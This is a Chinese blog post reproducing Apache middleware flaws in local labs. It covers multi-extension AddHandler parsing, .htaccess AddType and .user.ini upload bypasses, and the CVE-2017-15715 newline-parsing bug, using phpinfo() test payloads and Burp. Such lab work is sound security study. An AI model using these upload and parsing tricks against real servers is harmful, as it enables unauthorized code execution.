当前位置:网站首页>中间件漏洞复现—apache
中间件漏洞复现—apache
2022-07-06 09:22:00 【又懒有菜】
目录
0x0d Apache HTTPD 换行解析漏洞 (CVE-2017-15715)
0x0a httpd-conf配置不当(多文件名解析漏洞)
AddHandler application/x-httpd-php .php
在有多个后缀的情况下,只要含有.php后缀,就能被识别成PHP文件。
本地复现:
编辑文件h:ttpd-conf(apache/conf/http-conf):
添加:AddHandler application/x-httpd-php .php
编辑文件:phpinfo.php.jpg
写入:<?php phpinfo();?>
访问:127.0.0.1/phpinfo.php.jpg
0x0b .htaccess解析漏洞
AddType application/x-httpd-php .jpg 该路径下的jpg文件通过http都会被解析为php文件
本地复现:
上传.htaccess文件(本地)
编辑:AddType application/x-httpd-php .jpg
上传phpinfo.jpg文件(本地)
编辑:GIF89a<?php phpinfo();?>
访问: 127.0.0.1/phpinfo.jpg
0x0c .user.ini解析漏洞
环境ctfshow web 153
原理:php文件包含 .user.ini
auto_append_file=filename //同级目录每个php文件尾加上 include(“filename”)
auto_prepend_file=filename //同级目录文件头加上 include(“filename”)
上传 1.png
<?php phpinfo();?>
注意: 然后访问文件下的任意一个php即可 因为有index.php所以不需要上传php进行解析
0x0d Apache HTTPD 换行解析漏洞 (CVE-2017-15715)
环境:vulhub
影响版本:2.4.0~2.4.29版本
环境启动:
- 在CVE-2017-15715文件夹右键打开终端
- sudo docker-compose up -d
- 访问 ip+8000
burp抓包 修改参数值
在evil.php后面加c——>选中code修改——>0a
访问url:192.168.0.10:8080/evil.php%oa
总结: 思维导图
边栏推荐
- 强化學習基礎記錄
- Strengthen basic learning records
- FAQs and answers to the imitation Niuke technology blog project (III)
- 7-4 散列表查找(PTA程序设计)
- 5月27日杂谈
- .Xmind文件如何上传金山文档共享在线编辑?
- 【手撕代码】单例模式及生产者/消费者模式
- Thoroughly understand LRU algorithm - explain 146 questions in detail and eliminate LRU cache in redis
- MySQL锁总结(全面简洁 + 图文详解)
- 仿牛客技术博客项目常见问题及解答(三)
猜你喜欢
自定义RPC项目——常见问题及详解(注册中心)
HackMyvm靶机系列(5)-warez
Programme de jeu de cartes - confrontation homme - machine
Reinforcement learning series (I): basic principles and concepts
使用Spacedesk实现局域网内任意设备作为电脑拓展屏
(original) make an electronic clock with LCD1602 display to display the current time on the LCD. The display format is "hour: minute: Second: second". There are four function keys K1 ~ K4, and the fun
2022泰迪杯数据挖掘挑战赛C题思路及赛后总结
MySQL锁总结(全面简洁 + 图文详解)
1143_ SiCp learning notes_ Tree recursion
QT meta object qmetaobject indexofslot and other functions to obtain class methods attention
随机推荐
Custom RPC project - frequently asked questions and explanations (Registration Center)
使用Spacedesk实现局域网内任意设备作为电脑拓展屏
仿牛客技术博客项目常见问题及解答(一)
5月27日杂谈
[the Nine Yang Manual] 2020 Fudan University Applied Statistics real problem + analysis
[experiment index of educator database]
Strengthen basic learning records
深度强化文献阅读系列(一):Courier routing and assignment for food delivery service using reinforcement learning
【educoder数据库实验 索引】
【MySQL数据库的学习】
[MySQL database learning]
The difference between abstract classes and interfaces
SRC mining ideas and methods
PriorityQueue (large root heap / small root heap /topk problem)
[modern Chinese history] Chapter V test
Nuxtjs quick start (nuxt2)
1143_ SiCp learning notes_ Tree recursion
FAQs and answers to the imitation Niuke technology blog project (II)
Meituan dynamic thread pool practice ideas, open source
Relationship between hashcode() and equals()